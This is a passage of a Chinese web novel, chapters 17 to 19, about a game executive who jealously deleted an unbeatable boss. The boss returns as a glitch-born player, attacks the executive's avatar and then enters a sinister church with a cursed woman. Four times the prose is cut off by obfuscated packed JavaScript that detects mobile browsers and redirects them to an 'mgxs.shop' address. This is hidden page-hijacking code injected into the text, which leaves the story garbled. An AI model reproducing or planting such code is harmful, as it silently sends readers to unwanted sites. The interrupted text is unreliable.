“想跟你和好，不行吗？”祝梵语气自然，甚至带着点旧日的亲昵调侃，，“我还是喜欢听你叫我‘梵大哥’。” “那当初你把‘阿契恩’删了的时候干什么去了？”路易知道自己此话一出就彻底坐实“小屁孩”身份了，但他实在憋不下这口气了，咬牙切齿地压低声音，“你明明知道他对我有对重要。” “我说过很多次了，这是技术部、数据部以及其他部门综合讨论后得出的方案。”祝梵保持着绝对的理智，可偏偏就是这样的语气，听得人心底发凉，“试想一下有这样一个根本无法打败的Boss堵在玩家的游戏之路上，恐怕大部分人都不会有你无数次卷土重来的耐性吧？在公测之前把‘阿契恩’删掉，说到底是为了大多数人的游戏体验。” 最后还不忘补刀般地加上一句：“等你长大就懂了。” “你可以削弱，调整……有那么多方法，可你偏偏选择直接删了！”路易气得几乎要把香槟杯捏碎，脸上所有勉强维持的平静骤然褪去，只剩下紧抿的唇线和眼底框不住的愤怒。 祝梵静静看了他两秒，那目光深沉：“难道你希望他被削弱，然后被玩家打败，成为别人炫耀的资本？” 路易忽然无言以对，狼狈地喘着粗气。 他余光瞥见有人朝他们投来好奇的视线，于是只好强迫自己冷静、平复呼吸。他抿了一口香槟，任由冰凉的液体滑过喉咙，压下翻涌的情绪。 “祝总。”路易声音稍微提高了一点，确保附近若有若无投来的目光能听清他的恭敬与无事发生，“今天的宴会非常成功，恭喜您。我过去跟叔叔伯伯们打个招呼，失陪。” 不等祝梵回应，路易便转过了身，脸上重新浮现虚假的笑脸，快步走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124863|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向先前那几位投资人。 祝梵的声音从身后传来，音量小得几乎听不见：“放心，他对我也很重要。” 路易强迫自己不为此停下脚步，不在意，但那句话却像无形的针，细细密密地刺着他的神经。 这晚的时间格外漫长，路易试图让自己融入这帮和父亲年龄相仿的人。但事实证明，这些人和父亲相仿的不只有年龄，同样无趣得要死。 香槟已经喝饱了，他不想去唱那些伤感得莫名其妙的老歌、也不想打台球，在偌大的别墅漫无目的地溜达，寻找着去露台透风的路。 在别人家到处串不礼貌，但这个“别人”是祝梵，路易不想对他礼貌。 脚下是手工编织地毯，图案精美绝伦，绒毛细密厚软，踩上去几乎寂然无声，将路易摇摇晃晃的脚步声悄然吞噬。 光洁如镜的黑色大理石在地毯边缘露出冷硬的边框，倒映着晃动的人影，如同另一个浮动不安的虚幻世界。 路易一边走，一边看走廊墙上的照片解闷。那上面的人有许多他都叫不上名字，甚至一开始看到更年轻的祝梵时都差点没认出来。 “哈……好丑。”仗着四下无人，他毫不客气地骂道，发泄情绪，“说我没长大，你那时候看着才是蠢得要死。” 他兴致勃勃地寻找每一张照片上祝梵的身影，然后加以嘲笑。微醺的状态让他身形摇晃，手指毫不客气地按在相框上，留下指纹的印记。 路易就这样浑浑噩噩地一路看过去，十几张照片不过是他消磨时间的工具。但突然，一张大合照吸引了他的视线——或者说是合照中的某个人。 路易醉着，看不真切，那个人却是那样地突出于人群，没有站在c位，身姿气质却像大明星般吸人眼球。 他把眼睛揉了又揉，被镜框反光扰乱视线不说，凑近之后又附上一层恼人的哈气，引得他嘟嘟囔囔地骂。 路易抽出领带抹掉哈气，再塞回西装外套里，总算看清。 只见几十人的合照上，每个人的身影都被压缩，脸上的五官只剩下模糊的轮廓，难以分辨。但即便这样，他还是被一阵强烈的既视感击中，像是吞下了醒酒药，神经清醒地战栗着。 紧绷的神经在肩头冷不丁落下一只手时触底反弹，路易被吓得差点跳起来。 他仓惶回头，看到祝梵那张笑盈盈的脸，张口便要骂。但随即又注意到对方神色异常，许是由于背着光，眼瞳的色泽比寻常更黑更沉。 祝梵沉默了几秒，像是在确认路易的注意力足够集中，将认真听下他接下来的话，随后才开口，阴恻恻地—— “盯着别人的丈夫看这么长时间，可不太礼貌啊。” 17. 第17章 单是站着，路易的身形就开始摇晃。伴随着肉眼可见地发抖，他额头上也出现了细密的冷汗。 祝梵很满意他惊骇的表现，但……似乎有点太过头了。 果然不出一秒，路易忽然俯下身子，不受控制地呕吐起来。也就是祝梵反应快、躲得及时，才没让污秽沾在自己皮鞋上，但名贵地毯终究无法幸免于难。 混杂着酒精的酸臭味扑面而来，祝梵的脸色一会儿青一会儿黑：“你小子这是喝了多少？香槟也能喝成这样？” “我不知……呕……”路易说完一句话都变得艰难，“你刚才……说什么？我耳鸣……” 自己的话被当成耳旁风不说，现在还要收拾烂摊子。祝梵彻底笑不出来了，嘴角气得直抽抽，恨不得把他掐死。 大股东的亲儿子容不得半点闪失，祝梵纵使有一万个不情愿也只得亲自将他送上车，并跟他爸报备。 通讯接通，即使没开摄像头，祝梵也立马挂上礼貌笑容：“陆总，嗯……没有没有……都挺好的，就是小逸有点喝多了。” 说到这儿，他垂下眼，看着路易四仰八叉地躺在座位上不省人事，嘴角渐渐垂落。 “嗯……只是香槟……好……没人逼他，是香槟微甜，他一时贪嘴喝得多了点，怪我没早点发现……”祝梵手撑在车门框上，头低埋着，脸上的表情只有路易所在的角度才看得到，语气是不卑不亢的，“没事，我一会儿叫个人陪他回去……不麻烦……” 结束通讯的祝梵仍维持着相同的姿势，居高临下地审视着路易。 他真心对待过这个晚辈、把他当成忘年交的朋友吗？ 祝梵不这样认为。 跟大股东的亲儿子搞好关系总没错，更何况是在新项目初期。 于是他佯装大方地邀请他参加内测，表面推脱自己已经过了玩全息动作类游戏的年龄，背地里则找技术部要了还未时装的捏脸功能，伪装成第一公会的会长，给他资源装备，让他玩得顺风顺水。 后来，他们毫无意外来到了魔王城，阿契恩，那个令所有玩家无法战胜的梦魇，就坐在大殿正中。 这场过家家的游戏本该就此结束，小少爷应当知难而退，但这小子偏偏着了魔，屡败屡战、屡败屡战。他开始无时不刻地把阿契恩挂在嘴边，每每进入Boss房眼里都闪烁着兴奋的异彩，直到阵亡眼里的光也不会黯淡下去。 当然，当然……这不奇怪。祝梵心想，他的阿契恩就是这样迷人。 但他还是被嫉妒吞没了。 他嫉妒路易，而真正让他怒不可遏的恰恰是这份情绪本身——这家伙不过是个自认为了解阿契恩、自认为付出过许多时间心血的毛头小子，无足轻重，根本不配让他嫉妒。 于是他开始时不时故意放空回血技能，让这小子最先被阿契恩杀死，或是故意走位靠前吸引到阿契恩的仇恨率先阵亡，让队伍溃于无法回血……他用尽回身解数让路易放弃，但都成了他狂热的燃料。 他让阿契恩出现在游戏里，是为了完成那人的愿望，让那人重新拥有鲜活的身影。他当然无法忍受在望向阿契恩时总有另一个明媚热烈的人闯入视野。 “是你逼我的。” 强烈的情绪让祝梵的喃喃自语涌出回忆，从紧咬的牙关中挤出。 如果不能仅属于我，那就不要存在。 纵使数据部发来的报告明确显示玩家对阿契恩满意度很高、挑战欲旺盛，祝梵还是下达了删除该角色的指示，建模、技能机制无一保留。 他几乎是在那之后就立即后悔了，然而魔王的寝殿已然空空如也，正如床榻上空置的另一半，一切都像是对他卑劣妒心的惩罚。 他崩溃、疯狂，用最恶毒的字眼咒骂自己。直到几条不起眼的玩家举报信息传来，像是从天堂撒下的希望之光。 他听不懂技术部对该bug分析，只觉得是那人给他的又一次机会。 “非常抱歉祝总，我们将用最快速度修复该恶性bug。” “不。” 怎么会是bug呢？一定是感受到他的绝望，才长出血肉来和他重逢。 “留着他，把他当成普通玩家，什么都别做。” 祝梵直起腰身，像从回忆的池水中起身换气。 恰逢安排送路易回家的人来了，他转过身，脸上又换上了和善的笑容：“他是陆总儿子，你路上关照着些。礼物拿好，到地方了代我向陆总致歉。” 说完，他将地址报给车载人工智能。 *** 阿契恩百无聊赖地坐在街头地上，两条长腿自然岔开，胳膊拄在膝头、撑着腮帮子，小指直根的关节恰好遮住他嘴边的痣。 街上的玩家还是很少。 阿契恩没急着根据万斯的提示前往教堂，打算先在街头找些人切磋、叠加生命值。时间已是深夜，他仍没找到第一个切磋的对象。 到底为什么见不到什么人呢？ 是因为新手村的Boss对那些人来说太难了、全都被困在空气墙里吗？ 难道为了跟他们切磋，还要帮他们打Boss？ 阿契恩没有放弃，只要有人经过，他就会用他毫无感情的惯用语气招呼道：“想打架吗？” 试想一下深夜走在路上，阴暗的角落里突然有人冷不丁问这么一句，任谁都要吓一跳，以为是来找茬的。 但阿契恩浑然不觉。 他觉得自己已经很真诚了，真是想不通为什么那些人总是会像见了鬼似的跑开。 阿契恩认真反思，认为问题可能出在神情，他没有表现出诚意。 眼睛是心灵的窗户，他决定用眼神表达，用专注的注视表达诚恳的内心，殊不知传递出的情绪更像殷切的杀意。 他用犀利的眼神瞪向每一个打着退堂鼓、想要拒绝他的玩家，让他们用更快的速度落荒而逃。 “到底是哪里出了问题？”他嘟囔道，“难道我应该再热情些吗？” 正想着，视野被大片白色长袍占据。 阿契恩抬起头，看见熟人，没好气道：“如果你不打算和我切磋就躲远点，别碍事。” “路易没上线……也对，他喝醉了，爬不起来。”万斯自说自话着，走到阿契恩身侧，挨着他坐下。 “你看起来也不清醒。”阿契恩点评道。 “是啊，我或许要不了多久就会睡着，自动下线吧。” “难道圣职者也能喝酒吗？” “游戏是游戏，现实是现实，别太较真。”万斯笑着说，“怎么样？去过教堂了吗？” “还没，我打算找些人切磋完再去。但如你所见，”阿契恩耸了下肩膀，“这里的人少得可怜，难得遇上的也都被吓跑了，真是无趣。” “人少？”万斯想了想，“哦，这是因为你开了勿扰模式。” “物什么？” “勿扰模式，几天前的更新，路易没跟你说吗？” “没。”阿契恩说，“那是什么？” “开启勿扰模式后，系统会随机屏蔽场景中的大多数非好友玩家，剩下的玩家也会用随机外貌以及随机id取代，保护玩家隐私、提升玩家游戏体验。”万斯张口就是一串官方通告般的描述。 阿契恩没听懂，但只要明白人少和勿扰模式有关就行了。 “那么怎么关呢？” 阿契恩顺着分布在视野边缘的小图标一个一个看过去，毫不夸张地说，到现在他对游戏功能的开发程度不足50%。 如果是路易，现在应该会直接贴过来上手帮他改设置。 万斯做不出那么粗鲁的动作，他优雅地抬手，打了个响指。 随即，阿契恩的视野中央浮出一行字—— [开发者介入，勿扰模式关闭] 他还没来得及钻研那行字的意义，耳边久违地传来嘈杂人声，抬眼看，街上来来往往地满是穿着各式装备的玩家。 万斯歪头看着他笑，得意极了，就差把“我刚才是不是很酷？”写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124864|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在脸上。 但阿契恩完全没领悟对方得意的点，皱起眉头，真诚问：“所以这个模式的关闭方法是让别人坐我身边打个响指吗？” “……” 万斯无语，转念一想可能是凭空更改玩家设置的本事有点不够看。 借着酒精上头，他竟然不顾随着勿扰模式的解除，他和阿契恩都暴露在众多玩家视野中，又是一个响指，直接令一根点缀着无数精美宝石的象牙白法杖凭空出现在阿契恩手中。 阿契恩握住那杆只有小臂长的法杖，其数值浮现在视野当中，令他瞳孔一缩。 这无疑是一把传说级别的武器，甚至还要稀有高级，能与之相媲美的武器在这个公测开服不久的游戏里，很可能还没有被任何玩家攻略出来。 阿契恩感到匪夷所思，转头看向万斯，希望他对此做出解释。 但万斯却显出一副慵懒自得、不以为然的样子，道：“是不喜欢它的属性吗？可以改。” 随着一声响指，文字数字开始变换。 “还是说法杖的形状不合手？模样不喜欢？” “不……” 万斯无视阿契恩的拒绝。 他和路易一样，希望阿契恩延续不败魔王的名号。但那小子到底只能像个小丑似的大呼小叫，只有他才有能力切实地帮到阿契恩。他此时迫切地想让阿契恩看清，谁才能为他带去想要的一切。 万斯坚信，阿契恩的抗拒是一时的，他只是还没见识到自己真正的本领。 就这样，突破底线的万斯开始上头，变得无法无天：“那么直接修改你自身的数值如何？” 此话一出，阿契恩便觉得被一种异样感包围，这种感觉渐渐由表及里，漫过皮肉，渗入筋骨深处。 这种如同修改捏造灵魂般的把戏让他下意识想起肯尼。但就算借肯尼一百万个胆子，这只狡猾卑劣的魔族也不敢对魔王造次。 阿契恩站起身，又惊又怒，质问万斯：“你在做什么？” 万斯误以为阿契恩是在为他的能力而惊喜，也跟着站起来，兴奋道：“很难以置信对吧？是的没错，这就是我——” 话还没说完，阿契恩就一把掐住他的脖子，将他按到墙上。 力道之大，当时万斯就感觉自己整片后背都被震麻了。 阿契恩瞪着万斯，眼里迸发出骇人的暴怒和杀意，语气冰冷：“刚才那令人作呕的招数是什么？之前找你切磋你不同意，原来是想搞偷袭吗？” 他顺手将万斯送他的象牙白法杖也当做当作陷阱，摔在地上，摔成了破碎的数据。 “不是，等等，你听我……” 万斯脸色煞白，他怎么也没想到阿契恩竟然会毫无征兆地动手。 他视线越过阿契恩，撞上周围玩家数不清的目光，这让他意识到自己丑态正在被他人围观。显然安抚阿契恩需要时间，他眼下最需要做的是快速脱离窘境，于是挣扎着、沙哑地喊出：“勿扰模式……咳，开启勿扰模式！” 原本脖子被掐住，万斯只要开口就会变得声嘶力竭。阿契恩看他还有精力说话，手上力道加重，直接掐得万斯喘不上气。 万斯看到自己血条旁的异常状态竟然多了个[窒息]，没过几秒便开始掉血，顿时太惊失色—— 这可是和平地区，想要造成伤害得先同意切磋才行啊！ 勿扰模式也没被成功开启。 万斯因恐惧放大的瞳孔倒映着视野中接连弹出的猩红色提示，耳边更是此起彼伏地响起代表异常的电子音—— [警告，未知错误。] [警告，执行对象状态异常。] [警告，开发者模式失效。] [尝试重启。] [无响应。] [无响应。] [无响应。] …… “这……这到底是——？！” 紧接着，视野彻底变黑，耳畔重归寂静。 玩家万斯强制下线。 18. 第18章 祝梵在浓烈的焦糊味中惊醒，手忙脚乱地将头戴设备摘下，顾不上几根头发被连带着拽掉，尽可能远地丢到游戏舱角落。 起初只是一阵接一阵的电火花，随后更有愈发浓烈的黑烟腾起，很快充斥在空间不算宽敞的游戏舱。 祝梵连滚带爬地逃出游戏舱，隐约中听到了爆炸的声响，但或许也可能是他自己强烈的心跳声。 他不确定如果再晚几秒摘下头戴设备，随之爆炸的会不会还有自己的脑袋。 现在，酒彻底醒了。 祝梵喘着粗气，后背已经被冷汗浸湿，眼前似乎仍有残影，是阿契恩暴怒的表情和满屏红色的警告性提示，令他心有余悸着。 过了好久他才木讷地摸了摸身上各个部位，确保自己没有缺胳膊少腿，随后掏出通讯器，联络公司技术部门。 祝梵先是嘴硬地将本次事故包装成有可能危害任何玩家的重大事件。但随着更加详细的询问，他不得不将来龙去脉全盘托出，承认自己是接触了阿契恩，并试图对他使用开发者权限修改数据。 技术部严肃声明了阿契恩作为恶性bug的不确定性、危险性，并再一次建议将其彻底修复。 “不行！只有这个绝对不行！” 祝梵毫不犹豫地拒绝，只说让他们尽快送一台新设备重新安装，别影响他重返游戏。 他现在非常后悔自己酒后鲁莽之举引起了阿契恩的厌恶，现在的当务之急是上线补救，争取把好感度重新刷回来。 未料，即便将要求放低到这种程度，技术部仍无法满足：“经查，祝总您id为‘万斯’的角色账号信息存在不同程度的丢失损坏，需要修复才能重新读取使用。” 祝梵听得两眼一黑又一黑，终究是他小瞧了某恶性bug的威力。 他压着脾气问：“需要多长时间才能修复好？” 技术部表示他们现在人手不足，全在加班加点地研发新功能，以便在不久后的情人节前上线。 答复道：“少则3天，多则——” 对方话还没说完祝梵就切断了通讯，他发泄般地想要将通讯器扔出去发泄，却卡在从手腕上解下来这步，使了好几次没成功，最后恼羞成怒地给了自己两拳。 此时此刻，他掌握游戏内后续发生了什么的唯一方式就只剩论坛。才刚一点开，最先映入眼帘的便是长长一串、标红的hot贴标题—— 《[吃瓜]疑似白骑士团会长深夜用极品装备收买阿契恩不成反被打》 “岂有此理！” 发布时间不过几分钟前。首楼附带一条十几秒的视频，正是从万斯替阿契恩和自己一同解除勿扰模式之后开始录的，录到万斯忽然断线。 ：在现场，赶上直播了笑死。 ：之前那个说白骑士团为了副本通关记录可以把阿契恩招进来的预言家可以刀了。 ：这是哪句没聊对，怎么突然开始干架了？ ：这个阿契恩好拽哦，第一公会的面子也不给。 ：看来那路易也是身份了得，竟然能招到这样的人一起打副本。 ：路易也不是一般人哦，内测头部玩家，之前也是白骑士团的，据说是和万斯吵了一架后退会了。 ：感觉其中有很狗血的桥段…… ：话说万斯突然下线也太好笑了，总不能是心率飙太高被监测系统强制踢出去了吧？ ：这真的是万斯不是高仿吗？ ：回楼上，看他身上那些装备不像假的。 ：等等我才注意到阿契恩身上穿的只是新手套装唉，好权威的衣架子。 ：更权威的是他那张脸好吧，第一次见到这种，冷脸暴怒的模样谁看了都会腿软的，不要太会捏了！ ：楼上没参加内测吧？他这张脸和内测那个同名Boss一模一样，只能算是剽窃。 ：哦哦哦我看出来这里是哪儿了！我要去现场！ ：这两天没见阿契恩原来是开了勿扰模式啊，已收到坐标，这就过去，兄弟们且看我和他solo。 …… 这帖子实在热闹，各位玩家已经自动分出几个话题，各聊各的互不干扰，而讨论的重心则逐渐从万斯吃瘪转移到阿契恩身上。 没办法，谁叫他建模完美又强度爆表，只是呼吸都自带话题热度。 即便嘲笑祝梵的发言不算多，但他仍无法容忍自己成为别人嘴里的小丑，埋头码起小作文，试图假装路人为自己澄清。 他写得专注，没注意到黑烟已经从游戏舱打开的门缝中徐徐飘向天花板。 “就这样吧，”祝梵最后检查了一遍，自认为措辞天衣无缝，“发送……” 就在按下确认键的前一刹那，头顶的烟雾报警器被触发，水花倾斜而下，将他淋成了落水狗。 *** 游戏里，有意愿发起切磋挑战的人终于多了起来。 阿契恩仍延续了不收挑战费、胜后奖金照旧的规则。 虽然每次切磋结束后血量、蓝量、耐力值都会回满，但游戏角色背后活生生的人状态不会刷新，几场切磋下来正常人都会疲惫，常表现为反应迟钝。 可阿契恩弹反时机的把握自始至终就没错过，简直是像机械一般精准冷酷，再锋利的剑刃剑矢对上他也只能迸发出进攻失败的冰蓝火花。 阿契恩利落收剑入鞘，下巴微抬：“下一位。” 像他这样自带热度的人，自然也吸引一些专门为流量话题而来的玩家—— 新的挑战者走上前，眼神却没放在阿契恩身上，像是在跟空气对话：“排上了嗷家人们！这位就是大名鼎鼎的阿契恩了，能看见吗？看得清楚吗？” 阿契恩疑惑地偏头：“你在跟谁说话？” 他特地留意了奥菲莉亚所在的位置，通过影子判断出那只小蜥蜴正在这位挑战者正身后的地方。 不过没人能看见她正紧张地攥着小拳头，想来是无法理解切磋的意义，以为是这群人在向她爱戴的魔王大人发起讨伐。 “我在和直播间的观众朋友们说话。”挑战者回答，“我抽到了官方分发的直播测试资格。” 毫不意外，阿契恩听不懂：“那是什么？” “你竟然没听说吗？现在制作组开发出了适用于全息游戏的新型直播方式，可以选用玩家主视角或虚拟摄像头视角进行直播。由于处在测试阶段，目前只抽取了少部分人进行试播，而我就是幸运儿之一。” 哪有越解释未知词汇越多的？ 阿契恩没了刨根问底的兴趣，拔剑点了点挑战者，礼貌邀请对方率先出招：“开始吧。” “先等等。”挑战者又开始对空气说话，“要打了哦，家人们觉得我能赢吗？觉得能的扣1，觉得不能的扣圆周率。” 阿契恩无奈：“你到底打不打？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124865|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “打打打，当然打，排了半天队呢，不打岂不是亏了？”挑战者话锋一转，“家人们刷波弹幕给主播加加油。” “……” 对方迟迟不动手，阿契恩耐心耗尽，前脚使用技能血祭为自己上buff，后脚便发动传送先发制人。 这场战斗的结果毫无悬念，甚至因为开局的拖延让阿契恩的打法更加激进，于是挑战者也以更快的速度落败。 虽然战斗时长有所缩短，但阿契恩却觉得比以往任何一场切磋都消耗心力。他决定要为切磋活动新加一条规则——速战速决，禁止闲聊。 “好耶！这样第三十个人也顺利打败了！” 心系魔王安危的奥菲莉亚下意识欢呼出声，附近的人听到她的声音下意识寻找，最后只能怀疑自己幻听。 挑战者仍赖着不肯走，将镜头对向阿契恩感叹道：“看清了吗，家人们？真心不怪主播菜啊，你们上你们也得被砍成臊子。” “下一……” 阿契恩欲言又止，只因余光透过围观人群偶然瞥见了某个熟悉的身影，随即话锋一转，斩钉截铁道：“今天的切磋到此为止。” 还有许多排了半天队没打上的玩家，听他这么说立即怨声载道起来。 阿契恩无视众人的纠缠与阻止，使用传送技能离开包围圈、拉开距离，随后想起万斯说的“勿扰模式”。 但万斯没告诉他如何设置，他只得有样学样地打了个响指。 [勿扰模式开启] 下一秒，身后那一大群玩家尽数消失，街道重归清冷，总算是符合凌晨时分该有的样子。 阿契恩眨眨眼，看着手指嘟囔：“原来真是打个响指就行啊……” 他顺着方才看到身影去向追踪，像条寻着热源、死死锁定猎物的蛇，每个经过岔路口时的选择与转向都冷酷决绝。 很快，已经能在转角处看见对方转瞬即逝的衣角。 阿契恩声音不大，却冰冷清晰：“站住。” 但对方自是不听，反而逃得更加卖力。 阿契恩稍作思索，转而踩向墙壁，迅捷利落地跃上墙头。他只用了不到半秒时间瞄准，便将手里的剑奋力掷了出去。 随着一声惊叫，剑锋稳稳穿过对方后衣领，将那人钉在墙上。 阿契恩直起身子，皎洁月色为他勾勒出身形轮廓。 “我让你站住，听不见吗？” 说着他轻盈跃下，缓慢又极具压迫感地靠近，用冷漠的眼神打量那人扯着衣领、试图挣脱的狼狈模样。 对方正是那个被围殴后毫不犹豫拖人下水的赤脚女人，没被衣服掩盖住的皮肤上是新伤盖着旧伤。 几秒后，女人像是认命般停止了挣扎，但那双眼里仍迸发着不属于屈服的强烈情绪。 她死死盯着阿契恩，从干涩开裂的嘴唇间挤出一句：“我告发了你，现在你要来杀我了……也好。” “不打算多说些什么吗？” 阿契恩停在女人身前半米远的地方，身高的差距迫使对方大角度仰视。他双眼微眯，明明是背光，那双血红色的眼睛却隐隐发亮。 “兴许我会回心转意，饶你一命。” “饶我一命又如何？” 女人看向阿契恩左手腕处，像是有所预料般忽地笑了。接着她一字一顿，用带着某种强烈仇恨的语气说：“无论是我还是你，都逃不出去。” 19. 第19章 说话间，周围恰好起了一股无端阴风。想来是为了给当前游戏情节渲染不寒而栗的氛围。 阿契恩没被带动出半点恐慌情绪，反而好奇到底有什么东西能困住自己。 他决定赏给对方活命的机会，饶有兴趣道：“悬念留得不错，详细说说。” “你觉得我在开玩笑是吗？”女人性子刚烈，当然也可以理解为再没有什么可失去的所以破罐破摔，她没有顺着阿契恩的话往下说，语气夹枪带炮的。 阿契恩不恼，既然她不愿意痛痛快快地说，那就由他来问：“你不是本地人吧，让我想想那老太太是用的哪个词来着……是‘外乡人’？” “显而易见，和你一样。” “也和洞窟里的幽灵一样。” 女人不解：“什么幽灵？” 阿契恩充耳不闻：“从你跑步和挨打防御的姿势中看，我猜你应该有点小本事。不过你是如何败给那些门外汉的？” 看似是疑问，他却在女人张口时与她一齐说出答案，异口同声地：“任何攻击都无法命中。” 这下女人变了神色，那层自我保护的硬壳出现了细微的裂痕。她眼睫快速颤动了几下，再看向阿契恩时，目光里滤掉抵触，剩下清明的打量，是一种溺水者望见浮木时的、怔忡的专注。 “你也是准备前往王城参与讨伐魔王的勇者吗？”女人问阿契恩，好似将他认作同盟，萌生出希望，“你叫什么名字？” 阿契恩不答，用无声地方式告诉女人该由她先做自我介绍。 “翠西。” “阿契恩。” 闻言翠西拧起眉头，直言不讳地表达不满：“为什么你要用魔王的名字？如果我是你我一定会换个名字。” 阿契恩轻笑一声：“那么魔王也要改名字了。” 说完，在一阵硬石与金属相摩擦的刺耳声响中，他将钉在墙上的剑拔了下来，还翠西自由。 来不及保持平衡的翠西一个踉跄，随后抬手摸了摸后脖颈以及被穿了个洞的后衣领。 她这时才恍然意识到那把剑刺入的位置离自己的脖子相当近，想必如果阿契恩真有意杀她，她早在这把剑掷出的时候就命丧当场了。 “镇民们都穿着统一的服装，大概率就是为了在第一时间识别刚进入镇子的外乡人，然后让他们戴上这个……”阿契恩伸出手，袖口随着重力滑落，露出穿着红色石头的手串，正是在刚进入镇子时被那个疯癫老太婆所赠，“这是无法命中的关键吗？我看洞窟里好几个幽灵的手上都有戴。但我现在又不敢确定了，因为看起来你并没有佩戴任何手串。” “已经晚了。”翠西摇了摇头，绝望道“当蕴藏在其中的诅咒魔法转移至佩戴者体内，手串就只是摆设了。” 阿契恩摘下手串，只见力量值+2的属性消失，而第二条被隐去的神秘属性果然保留了下来。 “原来如此。”不同于翠西，他淡然地接受了现状。 “你现在纵使有天大的本事也无济于事了，不可能对这里的镇民造成一丁点伤害。”翠西悲哀地笑起来，带着几分自嘲，“你只能和我一样，只能永远困在这个邪恶的镇子上。明明……明明我们是要去讨伐魔王的人啊……” “自说自话可别带上我。” 阿契恩既不同情也不自哀，冷漠地划清界限，这让才敞开心扉、将他当作同盟的翠西愣怔住。 阿契恩还想说些什么，但从远处传来的呼喊声打断了他的思绪。 翠西一下子变得紧张起来：“不好，已经被发现了……得快些找个地方躲起来！”但同时她又慌不择路。 阿契恩也同意换个地方聊，压低声音道：“不想死就跟紧我。” “你想去哪儿？” 虽然有所不解，但翠西还是选择和阿契恩一同行动。这个赤着脚、被折磨得形同枯槁、一度耗尽体力的女人再度拼上全力奔跑，有这样的身体素质，想必曾经也是个战士之类的职业。 她气喘吁吁地提醒阿契恩：“不破除诅咒就无法离镇子太远的，我都试过了。” “放心，我可没打算逃。” 阿契恩反手抓住翠西胳膊，发动传送技能躲开堵住前路的追兵。 “你刚才用的是剑，现在又使用了魔法。”短短几分钟的照面，阿契恩已经震惊翠西一次又一次，“你究竟是……” “重要吗？” 如此从容，如此娴熟……原来只有这样有天赋的强者才能踏上讨伐魔王的路。 翠西恍然大悟般地沉默，同时又燃起几分逃离这里后继续修炼变强的志气。 翠西跟着阿契恩一刻不停地奔跑，终于将尽数追兵甩在身后。随着边跑边观察，她认出了脚下的路通往何方。 “这条路是去往镇中心的……你到底想去哪儿？！”她语气质疑，但跟随阿契恩的脚步却没有减慢分毫。 阿契恩不语。 当无比熟悉的标志性建筑出现在翠西面前时，她终于确定真正的目的地就如同自己所料那般。 “你疯了？！” 在她看来，那里寄宿着恶魔的代言人，一切的幕后主使。 阿契恩平静道：“曾有人建议我去教堂，正好这会儿有空。” 随后他再一次发动传送，无视墙壁，进入教堂内部。 巨大的石门紧闭着，隔绝夜风与星光。空气凝滞厚重，吸进肺里带着地穴般的潮冷。 时至天亮前的绝对黑夜，周围没有任何照明设施，广阔的空间向上消融在无法企及的黑暗里，仿佛这教堂没有穹顶，直接通向某个星辰寂灭的天宇。 追兵的呼和声被隔绝在外，此处静得吓人。 阿契恩唤出火球术，没有急着释放，将三颗烈焰留在身边持续照明。他问翠西：“当初从魔物手下侥幸逃生之后又返回镇子，就是因为跑不出去吗？” “不是，因为有很重要的东西落在那男人的住处了。”翠西不愿称对方为“丈夫”，也不愿称那里为“家”，“我冒险回去取，结果被发现了。我欠你个道歉，对不起。同时我也欠很多人道歉，但我不后悔，我必须活下去。” 阿契恩无视了对方的道歉，让他在意的另有它物，眉头轻蹙，道：“那个对你来说很重要的东西，别告诉我是孩子。” “万幸不是。”翠西笑了笑，“是王城的征召函。” 她始终记着自己要成为讨伐魔王的一员，这也是支撑她活到现在的唯一信念。 阿契恩忍不住嗤之以鼻：“分明是最无聊的东西。” 翠西闻言立即攥起拳头试图争辩，但随着两人移动，火光照亮教堂墙壁高处的雕塑，她咽了口唾沫，选择禁声。 那雕像并非慈悲垂首的神之子受难像，而是一具巨大的、倒悬的类人形体。 它双臂高抬，绝非拥抱的姿态，而是手腕、十指以超越关节极限的角度扭曲着，指尖刺入自己的胸膛，仿佛在进行一场永恒的自我剖解。它没有面孔，头颅的位置平滑一片，只在正中雕刻着一只巨大的、横置的眼睛。此刻，那石眼正望着两位不速之客，空洞得仿佛能吸附灵魂。 “还真是邪恶呀。”阿契恩感叹着，算是来自魔王正统的肯定，“那么我该去哪儿找人呢？” “你当真想见教主？”翠西抓住他衣角，严肃提醒，“之前也有人做出了同样的选择，但他们没有一个人回来。咱们身上有他留下的诅咒，你伤不到他。” “我没想杀他，只是想跟他聊聊。”阿契恩不以为然，他指了指头顶的雕像，“他的审美如此别致，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 